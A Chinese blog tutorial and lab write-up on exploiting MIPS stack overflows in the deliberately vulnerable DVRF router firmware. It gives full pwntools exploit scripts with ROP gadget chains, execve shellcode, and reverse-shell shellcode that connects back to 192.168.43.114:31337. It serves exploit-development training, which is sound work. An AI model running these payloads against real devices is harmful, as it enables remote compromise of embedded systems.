Mips栈溢出常见ROP构造

本文最后更新于:2023年11月5日 晚上

Mips栈溢出常见ROP构造

参考大佬的博客,在 GitHub 上找到了一个较好的靶机,适合新手来练手。

其地址为:https://github.com/praetorian-inc/DVRF

mips基础

mips架构

编号 寄存器名称 描述
$0 $zero 第0号寄存器,其值始终为0
$1 $at 保留寄存器
$2-$3 $v0-$v1 values,保存表达式或函数返回结果
$4-$7 $a0-$a3 argument,作为函数的前四个参数
$8-$15 $t0-$t7 temporaries,供汇编程序使用的临时寄存器
$16-$23 $s0-$s7 saved values,子函数使用时需先保存原寄存器的值
$24-$25 $t8-$t9 temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7
$26-$27 $k0-$k1 保留,中断处理函数使用
$28 $gp global pointer,全局指针
$29 $sp stack pointer,堆栈指针,指向堆栈的栈顶
$30 $fp frame pointer,保存栈指针
$31 $ra return address,返回地址

特殊寄存器:有3个特殊寄存器:PC(程序计数器)、HI(乘除结果高位寄存器)和LO(乘除结果低位寄存器)。在乘法时,HI保存高32位,LO保存低32位。除法时HI保存余数,LO保存商。

各个架构对比

架构 x86 X64 ARM MIPS
函数返回值 eax rax r0 v0~v1
函数调用参数 rdi, rsi, rdx, rcx, r8, r9;栈 r0~r3;栈 a0~a3;栈
栈指针 ebp;esp rbp;rsp fp(r11);sp(r13) fp/s8;sp
返回地址 进入子函数时会将返回地址压入栈中 进入子函数时会将返回地址压入栈中 lr(r14)寄存器保存着子程序的返回地址 ra寄存器保留程序的返回地址(叶子函数)

准备

使用 binwalk提取固件系统。

1
binwalk -Me ./DVRF_v03.bin

img

进入固件系统,我们在 pwnable 目录下可以看到两个目录,分别保存着 mips 架构下有漏洞的程序。接下来我们将对其进行分析。

由于我们的系统是 x86 架构下的,无法直接启动。所以我们使用 qemu 启动, -L 指定根目录。

1
2
cp $(which qemu-mipsel-static) .
./qemu-mipsel-static -L ./ ./pwnable/ShellCode_Required/stack_bof_02

分析

stack_bof_02

静态分析

首先,我们将程序拖入 IDA 中查看。

img

很明显,程序存在栈溢出漏洞。

动态分析

我们使用 gdb 动态调试确定偏移量。当然,这里可以在 IDA 中直接查看,但是 IDA 分析出的不一定对,建议使用 gdb 确定。

使用 cyclic 生成 600 bytes,并输入到 test 文件中。

img

输入以下命令运行程序,-g 指定远程调试端口。然后直接使用 gdb 连就可以了。

1
./qemu-mipsel-static -L ./ -g 1234 ./pwnable/ShellCode_Required/stack_bof_02 `cat test`

img

可以确定,从输入到返回地址偏移量为 508 。

接下来就是 ROP 链的构造了。我们重点关注ROP 链的构造以及 sleep(1) 的用法。

对于mips架构的程序而言,我们可以使用 ropper或者 mipsrop查找。我们一般可以两者结合使用。

布置ROP

首先,调用前需要传递参数。我们可使用 mipsrop 寻找 li $a0, 1这类的 gadget 传递参数。

img

我们使用 0x2fb10 这个gadget。

img

这个 gadget 跳转到 $1 的位置,所以我们还需要找到可以控制 $s1 的 gadget。参考 这里 ,我们可以在 scandir函数中找到一段近乎通用的 gadget,可以很方便的控制参数。

img

到了这里,我们基于可以构造出 sleep(1) 了。我们使用以下脚本构造,并尝试输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from pwn import p32

context.endian = 'little'
context.arch = 'mips'

libc_base = 0x7f6e5000
mysleep = libc_base + 0x2f2b0

payload = b'a' * 0x1fc
payload += p32(libc_base + 0x0000Afe0)

payload += b'b' * 0x18 # sp offset

payload += b'a' * 4 # s0
payload += p32(mysleep) # s1
payload += b'a' * 4 # s2
payload += b'a' * 4 # s3
payload += b'a' * 4 # s4
payload += b'a' * 4 # s5
payload += b'a' * 4 # s6
payload += b'a' * 4 # s7
payload += b'a' * 4 # fp
payload += p32(libc_base + 0x2FB10) # ra

with open('test','wb') as f:
f.write(payload)

我们通过调试查看是否成功调用 sleep(1).

可以看到,我们成功执行了 sleep 。

img

但是,寄存器 $ra ,即返回地址不受控制,所以我们需要找到既可以调用函数又可以控制 $ra 寄存器的 gadget。这里我们的需求是可以使用 $sn 控制 $t9 的 gadget 。因为我们在上述 scandir 的gadget中可以控制 $sn 。

img

我们挨个查看,并最终找到 0x21c34 这个 gadget 。

img

这里我们可以通过 $s3 调用 sleep ,同时,可以通过 $ra 返回到下一段 gadget。

此时,脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from pwn import p32

context.endian = 'little'
context.arch = 'mips'

libc_base = 0x7f6e5000
mysleep = libc_base + 0x2f2b0

payload = b'a' * 0x1fc
payload += p32(libc_base + 0xAfe0)

payload += b'b' * 0x18 # sp offset

payload += b'a' * 4 # s0
payload += p32(libc_base + 0x21c34) # s1
payload += b'a' * 4 # s2
payload += p32(mysleep) # s3
payload += b'a' * 4 # s4
payload += b'a' * 4 # s5
payload += b'a' * 4 # s6
payload += b'a' * 4 # s7
payload += b'a' * 4 # fp
payload += p32(libc_base + 0x2FB10) # ra

with open('test','wb') as f:
f.write(payload)

执行,查看寄存器及堆栈。

img

img

我们成功执行了 sleep ,并且可以得知返回地址位于 $sp + 0x2c 的位置。接下来我们在此位置上布置 shellcode。继续查找合适的 gadget 。

img

并发现 0x171cc 这个 gadget 。

img

这里通过栈向 $a0 寄存器传入数据,若我们可以跳转到 $a0 寄存器,便可以执行我们的 shellcode 。

img

img

最终 wp 如下。其中,shellcode 摘抄自这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from pwn import p32

context.endian = 'little'
context.arch = 'mips'

libc_base = 0x7f6e5000
mysleep = libc_base + 0x2f2b0

shellcode = b''
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404

payload = b'a' * 0x1fc
payload += p32(libc_base + 0xAfe0)

payload += b'b' * 0x18 # sp offset

payload += b'a' * 4 # s0
payload += p32(libc_base + 0x21c34) # s1
payload += b'a' * 4 # s2
payload += p32(mysleep) # s3
payload += b'a' * 4 # s4
payload += b'a' * 4 # s5
payload += b'a' * 4 # s6
payload += b'a' * 4 # s7
payload += b'a' * 4 # fp
payload += p32(libc_base + 0x2FB10) # ra

payload += b'a' * 0x24
payload += p32(libc_base + 0x214A0) # $s3
payload += b'a' * 4
payload += p32(libc_base + 0x171cc) # $ra

payload += b'a' * 0x18

payload += shellcode

with open('test','wb') as f:
f.write(payload)

这里成功执行了我们的 shellcode。

要注意的是,在 MIPS 指令集中,0x20 和 0x00 都是坏字节。因此 gadget 的地址不能包含这两个值。同时,提一个小trick,在我们想写入的地址有坏字节时,可以通过先-1写入,后面依靠其他gadget来将地址加一来完成构造。

img

并且获取到了 shell 。

img

socket_bof

静态分析

img

v11的缓冲区为26,我们可以输入 0x1f4 字节,同时使用 sprintf通过 v10 格式化输入 v11,存在明显的栈溢出。

动态分析

由于是一个 socket 程序,所以我们需要关注如何输入。

首先运行 socket_bof ,并绑定 4321 端口。

img

使用 nc 连接该 socket ,并输入数据。

img

若是调试,只需要在qemu运行时使用 -g 绑定一个调试端口即可。

接下来测试偏移。我们依然使用 cyclic + 返回地址的方法确定。

img

可以得到偏移为 51 。

ROP构造

这里较 stack_bof_02 十分相像,只是偏移不同而已,我们依然尝试使用上题的 ROP 链获取 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from pwn import p32

context.endian = 'little'
context.arch = 'mips'

libc_base = 0x7f6e5000
mysleep = libc_base + 0x2f2b0

shellcode = b''
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404

payload = b'a' * 51
payload += p32(libc_base + 0x0000Afe0)

payload += b'b' * 0x18

payload += b'a' * 4 # s0
payload += p32(libc_base + 0x21C34) # s1
payload += b'a' * 4 # s2
payload += p32(mysleep) # s3
payload += b'a' * 4 # s4
payload += b'a' * 4 # s5
payload += b'a' * 4 # s6
payload += b'a' * 4 # s7
payload += b'a' * 4 # fp
payload += p32(libc_base + 0x2FB10) # ra

payload += b'c' * 0x24

payload += p32(libc_base + 0x214A0) # s3
payload += b'd' * 4 # s4
payload += p32(libc_base + 0x171CC) # ra

payload += b'f' * 0x18 # shellcode offset

payload += shellcode

# with open('test','wb') as f:
# f.write(payload)

p = remote('127.0.0.1', 4321)

p.sendline(payload)

# p.interactive()

我们成功获取了shell。

img

等等,有没有感觉有一丝丝的诡异。我们竟然在本地获取了远程服务器的shell,且该shell依然在远程,所以我们依然没有办法控制远程服务器。

这里,我们可以采取 reverse shell 的方式获取远程服务器shell。较上述wp,只需要修改 shellcode 即可。实现反向shell的shellcode

img

注意,这里需要修改 shellcode 的 ip 地址。

首先,需要获取本地的 ip 地址,并使用 16 进制表示。比如说,我们这里的 ip 地址为 192.168.43.114

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

def transfer(ip):
t = ip.split('.')
res = 0
for i in range(len(t)):
res += int(t[i]) << 8 * i
res = hex(res)
print(res)

transfer("192.168.43.114")

转换为16进制,且用小端表示为 0x722ba8c0。

注意到传递 ip 的汇编语句为,li $a1, 0x722ba8c0,我们将其转换为机器码输入。这里使用在线网站转换。

img

最终我们 shellcode 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# reverse shell 192.168.43.114:31337 
stg3_SC = b"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += b"\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += b"\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += b"\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
# stg3_SC += b"\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" # 192.168.1.177
stg3_SC += b"\xf8\xff\xa5\xaf\x2b\x72\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += b"\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += b"\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += b"\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += b"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += b"\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += b"\xab\x0f\x02\x24\x0c\x09\x09\x01"

使用 nc -nvlp 31337监听 31337 端口。

继续执行上述 wp。

img

img

成功反弹shell。

others

mipsrop简单使用

我们常用的类是 mipsrop.MIPSROPFinder(),该类中常用方法如下:

1
2
3
4
5
6
rop = mipsrop.MIPSROPFinder()
rop.stackfinder() # 寻找栈数据可控的 rop,建立栈和 a类型与s类型 寄存器的关系
rop.find(xxx) # 查找指定的rop,可以使用正则表达式匹配
rop.tails() # 列出将栈上的数据保存在$ra等寄存器中的rop
rop.system() # 寻找命令执行的的 rop,建立栈与寄存器$a0的关系
rop.summary() # 查找可用的完整调用链

mips常用gadget

我们上述采用的 gadget 基本都是通用的 gadget,可以参考以下博客进行总结。

参考:https://www.cnblogs.com/hac425/p/9416864.html

参考文档

https://www.anquanke.com/post/id/169689

https://xz.aliyun.com/t/6808#toc-8

https://xuanxuanblingbling.github.io/ctf/pwn/2020/09/24/mips/

https://erosjohn.github.io/2020/07/16/MIPS%E5%9F%BA%E7%A1%80%E5%8F%8A%E6%A0%88%E6%BA%A2%E5%87%BA%E5%85%A5%E9%97%A8%EF%BC%88%E4%B8%80%EF%BC%89/

https://abf1ag.github.io/2022/01/19/yi-gou-pwn-xue-xi-ji-lu/


Mips栈溢出常见ROP构造
http://example.com/2023/07/02/mips栈溢出常见ROP构造/
作者
l1s00t
发布于
2023年7月2日
更新于
2023年11月5日
许可协议